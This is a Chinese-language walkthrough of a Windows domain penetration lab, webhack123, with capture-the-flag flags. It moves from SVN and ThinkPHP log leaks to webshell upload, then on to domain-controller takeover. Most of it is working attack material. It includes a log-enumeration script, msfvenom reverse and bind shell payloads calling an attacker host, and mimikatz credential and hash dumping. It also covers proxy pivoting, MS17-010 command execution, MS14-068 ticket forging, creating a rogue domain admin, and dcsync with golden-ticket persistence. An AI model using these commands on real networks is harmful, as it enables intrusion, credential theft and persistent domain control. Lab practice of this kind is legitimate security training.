webhack123靶场主要为 Windows 域渗透,其中涉及多种技术,包括svn信息泄露、ThinkPHP日志泄露、文件上传、MS14-068域内提权、MS17-010、黄金票据等知识。
靶场中包含两台靶机,具体的网络拓扑图如下
根据拓扑图环境分别为两台主机配置不同的网卡
web 服务器管理员密码为[email protected]#Qwe456
,域控服务器的管理员密码为[email protected]#Qwe123
,普通域用户web
密码为[email protected]#Qwe456
,登录 web 服务器查看IP地址为192.168.0.100
当然也可以使用 netdiscover 发现内网主机
netdiscover 192.168.0.0/24
在 hosts 文件中绑定域名解析
sudo vim /etc/hosts
## 配置
192.168.0.100 www.webhack123.com
成功访问目标站点,靶机环境部署完成
使用 masscan 快速扫描目标全部端口
sudo masscan -p 1-65535 192.168.0.100 --rate=200
使用 nmap 对 masscan 扫描到的端口进行具体的信息探测
nmap -A -p 80,135,139,445,3306,3389 -sC -Pn 192.168.0.100
脚本扫描结果如下,成功发现域名hackbox.com
使用 whatweb 进行指纹识别,发现站点使用 ThinkPHP 框架
whatweb http://www.webhack123.com
使用 gobuster 进行目录扫描,成功找到目录.svn
、app
等
gobuster dir -u http://www.webhack123.com -w /usr/local/share/wordlists/dirb/big.txt
使用 dumpall 利用 svn 源代码泄漏漏洞下载文件
dumpall -u http://www.webhack123.com/.svn
查看结果,发现源代码如下:
在App/Runtime/Logs
目录下发现 ThinkPHP 日志文件,但其中的日志比较老旧,并没有包含新日志
假如我们需要访问到最新日志,可使用 Python 编写脚本枚举日志名
import requeststest_url = "http://www.webhack123.com/app/runtime/logs/18_06_05.log"
base_url = "http://www.webhack123.com/app/runtime/logs"
def add_log(base_url):
years = [19, 20] #设置年份
urls = []
for y in years:
for i in range(1, 13):#设置月份
for j in range(1, 32):#设置日期
if i < 10:
if j < 10:
urls.append(base_url + "/%s_0%s_0%s.log" % (y, i, j))
else:
urls.append(base_url + "/%s_0%s_%s.log" % (y, i, j))
else:
if j < 10:
urls.append(base_url + "/%s_%s_0%s.log" % (y, i, j))
else:
urls.append(base_url + "/%s_%s_%s.log" % (y, i, j))
return urls
def get_log():
urls = add_log(base_url)
for url in urls:
with open("result.txt", "a+") as f:
r = requests.get(url)
if r.status_code == 200:#过滤状态码
print(url)
f.write(r.text)#写入结果
get_log()
扫描结果如下:
在返回内容中搜索最近的密码,其值为74c774ef39b5b977c1fd59dbfc73c3e380a65aa3
在线网站中解密MD5值,成功拿到明文密码web123
,但是通过目录扫描并没有发现后台界面,因此可尝试子域名扫描来获取后台
当搜集到大量IP资产开放着 web 服务,但访问通常是4xx、5xx时,主要是由于中间件对访问IP进行了限制,它们大多是内部员工使用的系统,使用外网IP,但是绑定的域名是内部域名,外网 DNS 服务器无法完成解析,因此可利用本地 hosts 绑定才能正常访问,使用 Hosts_scan 工具可快速进行 hosts 碰撞突破边界,当然这里需要根据需求来修改脚本,给脚本添加 top 3000 的子域名进行碰撞,代码如下:
项目地址:https://github.com/fofapro/Hosts_scan
import requests
import relists=[]
files = open('hosts_ok.txt','w+')
#读取IP地址
print("====================================开 始 匹 配====================================")
for iplist in open("ip.txt"):
ip = iplist.strip('\n')
#读取host地址
http_s = ['http://','https://']
for subdomain in open("top-3k-domain.txt", 'r'):#添加子域名
s = subdomain.strip()
for h in http_s :
for hostlist in open("host.txt",'r'):
host = s + "." + hostlist.strip('\n')
headers = {'Host':host,'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36'}
try:
r = requests.session()
requests.packages.urllib3.disable_warnings()
rhost = r.get(h + ip,verify=False,headers=headers,timeout=5)
rhost.encoding='utf-8'
title = re.search('<title>(.*)</title>', rhost.text).group(1) #获取标题
info = '%s -- %s 协议:%s 数据包大小:%d 标题:%s' % (ip,host,h,len(rhost.text),title)
lists.append(info)
files.write(info + "\n")
print(info)
except Exception :
error = ip + " --- " + host + " --- 访问失败!~"
print(error)
print("====================================匹 配 成 功 的 列 表====================================")
for i in lists:
print(i)
在hosts_ok.txt
中记录了扫描结果
在其中找到子域名admin.webhack123.com
,在 hosts 文件中绑定该域名
sudo vim /etc/hosts
## 配置
192.168.0.100 admin.webhack123.com
成功访问并发现后台管理系统
输入测试账号密码进行登录,使用 burpsuite 截取数据包并发送至 repeater 模块
解码 unicode 编码,结果显示“管理用户名或密码有误”
尝试爆破发现该验证码可重用
使用admin/web123
成功登录后台系统
在基本设置中添加允许上传的文件类型:php
在网站 LOGO 处直接上传木马,上传后地址为http://admin.webhack123.com/Public/Upload/20220717/4b100398eef6cbe8f00a37a25fcacb3c.php
使用菜刀连接木马,木马连接成功
成功在C:\Users\web\
发现第一个flag
web{flag_web123}
在C:\Users\Administrator\
中发现第二个flag
web{flag_moonsec.com_123456}
查看当前权限为 system,因此无需提权,将其转移到 MSF 上以便能够收集更多信息
使用 MSF 生成反弹shell木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.113 lport=4444 -f exe > ~/Desktop/mac.exe
在 MSF 中开启监听
msfconsole
msf > use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_tcp
msf > set lhost 192.168.0.113
msf > set lport 4444
msf > exploit -j
在菜刀中上传木马并执行
成功收到 meterperter,权限同样为 system
查看目标网卡信息,发现两个IP
meterpreter > ipconfig
IP地址分别如下:
192.168.0.100
10.10.10.150
查询 ARP 信息
meterpreter > arp -a
查看系统进程,寻找 system 所对应的稳定进程
meterpreter > ps
选择 PID 为 572 的进程完成迁移
meterpreter > migrate 572
成功拿到用户哈希值
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:086a0bb1ed4ec72250760ea531bf8074:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
使用 mimikatz 获取明文密码,成功拿到管理员明文密码[email protected]#Qwe456
meterperter > load mimikatz
meterpreter > creds_msv
meterpreter > creds_kerberos
Username Domain NTLM SHA1 LM
-------- ------ ---- ---- --
Administrator WEB 086a0bb1ed4ec72250760ea531bf8074 b243bd1e36ad7ccb65f59e151dfe5b521a5f2b9b c6125126643bbe191e929ffc01395127
WEB$ HACKBOX 12890c2504445fbc9148f86b42478c65 7b0f82cf8d1f9c9a908e8a601e77044756f8aaea
Username Domain Password
-------- ------ --------
(null) (null) (null)
Administrator WEB [email protected]#Qwe456
web$ HACKBOX.COM a3 10 9b 98 c0 3d 4d 6e ec 53 c5 d9 9f ba 16 59 01 38 90 87 c9 72 5b 7d 8f b1 02 09 75 b6
be 33 36 c5 5a ed db 29 dd 34 64 20 15 a4 d3 4d b8 b7 50 bb e5 fa 53 69 4c 8c 86 82 a0 a8
25 8e ed a0 34 c2 10 68 b4 55 e5 df 3b d3 c3 7d c0 67 18 d0 4b f9 8c d9 5d 58 7c 02 e2 2b
ef fc bc 64 85 cd 4e bf be 8c 31 c9 b8 04 0d 72 04 76 5f 21 8b 2b 3b 81 f0 15 2d 87 47 c7
86 d0 0b 42 d5 00 e9 ab 40 8d ed a7 cb 17 ff f9 68 6d cc 68 ba a9 f5 48 53 72 f9 3d c0 83
d9 9c cd 9d 5a a7 0f 76 35 79 90 e4 7e 2e 01 13 ce 9a 2f 01 0f ab 5f 74 a4 a1 55 ab ac 38
fe d0 af a7 a6 3d 88 41 0d 78 e8 bd 10 f8 bc 6c c4 48 fa 87 43 d5 a9 0c 0d fe 62 67 93 b5
d7 8b b6 87 87 3e 7a c7 b4 ab 10 b0 db 58 f8 b1 73 db 67 3a b8 2c 42 c5 11 59 49 10 09 31
查看网络信息发现域名为hackbox.com
,域名解析服务器为10.10.10.149
,一般而言域控就是DNS服务器
ipconfig /all
如果出现乱码可以使用如下命令:
chcp 65001
查询当前用户信息,获取用户SID
whoami /all
查询主机信息失败
net config workstation
查询是否存在多域环境,目前仅发现hackbox
net view /domain
查询局域网中其他主机,成功找到主机名DC
,根据名字推测可能为域控
net view
ping 主机DC
那么其IP为 10.10.10.149
ping dc
查询时间和用户组确认域控为该主机dc.hackbox.com
net time /domain
net group /domain
查看域内用户
net user /domain
在 MSF 中可使用 enum_domain 模块确认域控
meterpreter > run post/windows/gather/enum_domain
使用 enum_ad_computers 模块查询域内主机
meterpreter > run post/windows/gather/enum_ad_computers
最后使用 enum_logged_on_users 模块查询登录过的用户,可能会有意外的惊喜
meterpreter > run post/windows/gather/enum_logged_on_users
SID User
--- ----
S-1-5-21-1443003717-4130318662-4279967973-500 C:\Users\Administrator
S-1-5-21-2005268815-658469957-1189185684-1103 C:\Users\web
S-1-5-21-2005268815-658469957-1189185684-500 C:\Users\Administrator.HACKBOX
利用模块 get_local_subnets 查看当前网段
meterpreter > run get_local_subnets
添加内网路由段10.10.10.0/24
meterpreter > run autoroute -s 10.10.10.0/24
查看已添加路由
meterpreter > run autoroute -p
运行模块 socks_proxy 建立 socks 代理
meterpreter > use auxiliary/server/socks_proxy
meterpreter > set srvport 2222
meterpreter > show options
meterpreter > run
通过 proxychains 建立代理
vim /usr/local/etc/proxychains.conf
#配置
socks5 127.0.0.1 2222
使用 nmap 通过代理进行扫描,测试成功
proxychains4 nmap -Pn 10.10.10.149
端口扫描结果如下:
由于目标开放 smb 服务,尝试使用永恒之蓝漏洞进行扫描
msf > use auxiliary/scanner/smb/smb_ms17_010
msf > set rhost 10.10.10.149
msf > run
成功发现永恒之蓝漏洞,在内网中无法直接使用永恒之蓝的交互模块,但可以使用 ms17_010_command 模块进行利用
msf > use auxiliary/admin/smb/ms17_010_command
msf > set rhost 10.10.10.149
msf > set command "ipconfig"
msf > run
成功拿到域控的系统权限
MS14-068 需要域用户权限,但目前已知域用户只有web
以及administrator
,web
在本机登录过,因此可能与本机管理员的密码相同,尝试通过远程桌面进行验证
当输入hackbox.com\web:[email protected]#Qwe456
时显示无权限远程连接,而当输入错误密码显示账户不可用,这说明该密码可用,只是无法用于远程桌面登录
在 MSF 中上传漏洞利用程序ms14-068.exe
meterperter > upload /Users/mac/Downloads/MS14-068.exe C:/phpstudy_pro/WWW/www.webhack123.com/Public/Upload/20220717/
使用ms14-068.exe
生成票据,成功生成票据[email protected]
ms14-068.exe -u web[email protected] -s S-1-5-21-2005268815-658469957-1189185684-1103 -d 10.10.10.149 -p [email protected]#Qwe456
清理票据,发现当前票据已经为空
meterperter > load kiwi
meterperter > kerberos_ticket_purge
meterperter > kerberos_ticket_list
上传 mimikatz,使用 mimikatz 导入票据
kerberos::ptc C:/phpstudy_pro/WWW/www.webhack123.com/Public/Upload/20220717/[email protected]
klist
访问域控成功,但是目前并不能执行命令
dir \\dc\C$
使用 MSF 生成正向连接木马
msfvenom -p windows/meterpreter/bind_tcp lport=13777 -f exe > ~/Desktop/mac2.exe
上传木马至根目录中
meterpreter > upload /Users/mac/Desktop/mac2.exe c:/mac2.exe
通过 SMB 共享复制到域控当中
copy c:\mac2.exe \\dc\c$\mac2.exe
查询域控时间,设置计划任务执行木马
net time \\dc
at \\dc 0:29:00 c:/mac2.exe
at \\dc
在 MSF 中连接域控,成功收到返回的 meterpreter
msf > use exploit/multi/handler
msf > set payload windows/meterpreter/bind_tcp
msf > set rhost 10.10.10.149
msf > set lport 13777
msf > run
成功在c:/Users/administrator/
目录中发现第三个flag
dc{flag_moonsec.com_dc}
查看进程,寻找 system 所对应的稳定进程
meterpreter > ps
选择 PID 604 完成进程迁移
metrepreter > migrate 604
使用 hashdump 抓取域控哈希值
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e7114141b0337bdce1aedf5594706205:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6f60ace6accbcb76078ccc0312174e98:::
web:1103:aad3b435b51404eeaad3b435b51404ee:086a0bb1ed4ec72250760ea531bf8074:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:f6d76d3756ece41b315347b770b92175:::
WEB$:1104:aad3b435b51404eeaad3b435b51404ee:12890c2504445fbc9148f86b42478c65:::
使用 smart_hashdump 抓取哈希值
metrepreter > run post/windows/gather/smart_hashdump
通过 mimikatz 抓取 Kerberos 以及明文信息,成功拿到管理员明文密码[email protected]#QWE123
metrepreter > load kiwi
metrepreter > creds_all
尝试开启远程连接服务,但是在实战时如无必要不要开启远程连接,很容易被管理员发现
meterpreter > run post/windows/manage/enable_rdp
查询 krbtgt 用户的 SID,其值为S-1-5-21-2005268815-658469957-1189185684-502
wmic useraccount where name="krbtgt" get sid
由于系统权限无法完成 dcsync,因此需要窃取域管理员令牌
meterpreter > steal_token 2112
meterpreter > dcsync_ntlm krbtgt
通过 golden_ticket_create 成功生成黄金票据,其中用户名可任意伪造
meterpreter > golden_ticket_create -d hackbox.com -u mac -s S-1-5-21-2005268815-658469957-1189185684 -k 6f60ace6accbcb76078ccc0312174e98 -t /tmp/krbtgt.ticket
清除所有票据并查看
meterpreter > kerberos_ticket_purge
meterpreter > kerberos_ticket_list
注入黄金票据,再次成功访问域控
meterpreter > kerberos_ticket_use /tmp/krbtgt.ticket
meterpreter > kerberos_ticket_list
dir \\dc\c$
配置 http 监听器
生成 exe 类型木马cs.exe
通过菜刀上传木马并执行
成功上线CS,同时设置时间间隔为2秒
查看进程,寻找稳定的系统进程
ps
注入 PID 为824的进程
inject 824 x64
获取用户哈希以及密码明文信息
hashdump
logonpasswords
查询域内信息,发现域名、域控以及同网段主机
net computers
net domain
net dclist
使用 fscan 扫描域控主机,发现 MS17-010 漏洞
尝试使用 FRP 建立代理,其中frpc.ini
代理配置如下:
[common]
server_addr = x.x.x.x
server_port = 7000[http_proxy]
type = tcp
remote_port = 6000
plugin = socks5
frps.ini
配置如下:
[common]
bind_addr = 0.0.0.0
bind_port = 7000
上传frps
和frps.ini
至服务器并执行
./frps -c frps.ini
在靶机中上传frpc
和frpc.ini
,同时连接 FRP
frpc.exe -c frpc.ini
通过 proxychains 建立代理
vim /usr/local/etc/proxychains.conf
#配置
socks5 x.x.x.x 6000
使用代理扫描域控主机,连通性测试成功
proxychains4 nmap -Pn 10.10.10.149
在服务器上建立TCP中转监听
生成中转监听木马cs2.exe
使用 MSF 设置代理通过永恒之蓝进行攻击
msf > use auxiliary/admin/smb/ms17_010_command
msf > setg Proxies socks5:x.x.x.x:6000
msf > setg ReverseAllowProxy true
msf > set command whoami
msf > set rhosts 10.10.10.149
msf > run
使用永恒之蓝创建域管理员用户
net user mac1 QWEasd123 /add /domain
net group "domain admins" mac1 /add /domain
net user /domain
net user mac1 /domain
在 CS 中通过 IPC 管道连接域控
shell net use \\10.10.10.149\ipc$ "QWEasd123" /user:mac1
shell net use
shell dir \\10.10.10.149\c$
复制木马至域控C盘当中
shell copy cs2.exe \\10.10.10.149\c$
查看域控时间,设置定时任务执行木马
shell net time \\10.10.10.149
shell at \\10.10.10.149 3:52:00 c:/cs2.exe
shell at \\10.10.10.149
但是域控并没有上线,尝试使用哈希传递来上线,设置 SMB 监听器
域控主机成功上线CS
使用ms14-068.exe
生成票据,成功生成票据[email protected]
shell ms14-068.exe -u [email protected] -s S-1-5-21-2005268815-658469957-1189185684-1103 -d 10.10.10.149 -p [email protected]#Qwe456
删除域控IPC$
连接、票据
shell net use * /delete
shell klist purge
使用自带命令导入票据失败,估计是文件类型问题
尝试打开 mimikatz 通过非交互方式导入票据
shell mimikatz.exe "kerberos::ptc C:/phpstudy_pro/WWW/www.webhack123.com/Public/Upload/20220717/[email protected]" exit
成功访问域控
shell dir \\dc\c$
选择 smb 隧道生成正向木马cs3.exe
复制木马至域控C盘当中
shell copy cs3.exe \\dc\c$
查看域控时间,设置定时任务执行木马
shell net time \\dc
shell at \\dc 9:51:00 c:/cs3.exe
shell at \\dc
正向连接域控
link dc
成功上线域控
导出 krbtgt 用户信息
dcsync hackbox.com hackbox\krbtgt
SID:S-1-5-21-2005268815-658469957-1189185684
Domain:hackbox.com
krbtgt NTLM hash:6f60ace6accbcb76078ccc0312174e98
user(可伪造):mac
使用 LSTAR 插件在 web 服务器上制作黄金票据
清空票据信息后,将以上信息填入其中
成功生成黄金票据
整个靶场全面地展示了 Winodws 域渗透,通过目录扫描发现在站点中存在 svn 信息泄露漏洞,利用该漏洞下载源码,经遍历发现其中包含 ThinkPHP 日志,但其中只包含了 2019 年的日志,由于可能存在 ThinkPHP 日志信息泄露漏洞,尝试编写 Python 脚本来遍历 2020 年的日志,找到 2020 年的日志中存在密码密文,利用破解网站成功解密为明文。目前虽然有了账号密码,但是没有后台进行登录也毫无用处,通过 Hosts 碰撞发现子域名admin.hackbox.com
,在本地绑定 hosts 后访问发现后台应用,利用拿到的密码成功登录后台,而后台界面中存在文件上传漏洞,上传木马成功且权限为系统权限。
在服务器上使用 mimikatz 搜集密码,成功找到本地管理员的明文密码,经测试与域用户web
密码相同,无论利用 MS17-010 或 MS14-068 均可获取域控权限,最终制作黄金票据完成权限维持。不过需要注意的是 MS14-068 的利用与黄金票据制作容易混淆,虽说两者都是票据利用,但是 MS14-068 的条件是域用户名、域用户密码、域用户 SID 以及域控 IP,而黄金票据的条件是域名、krbtgt 用户 SID、krbtgt 用户 NTLM 哈希以及伪造的用户名,因此存在本质差别。该靶场非常贴近实战,十分适合网络安全进阶人员练习,在实战渗透时能够提供给我们非常好的借鉴作用。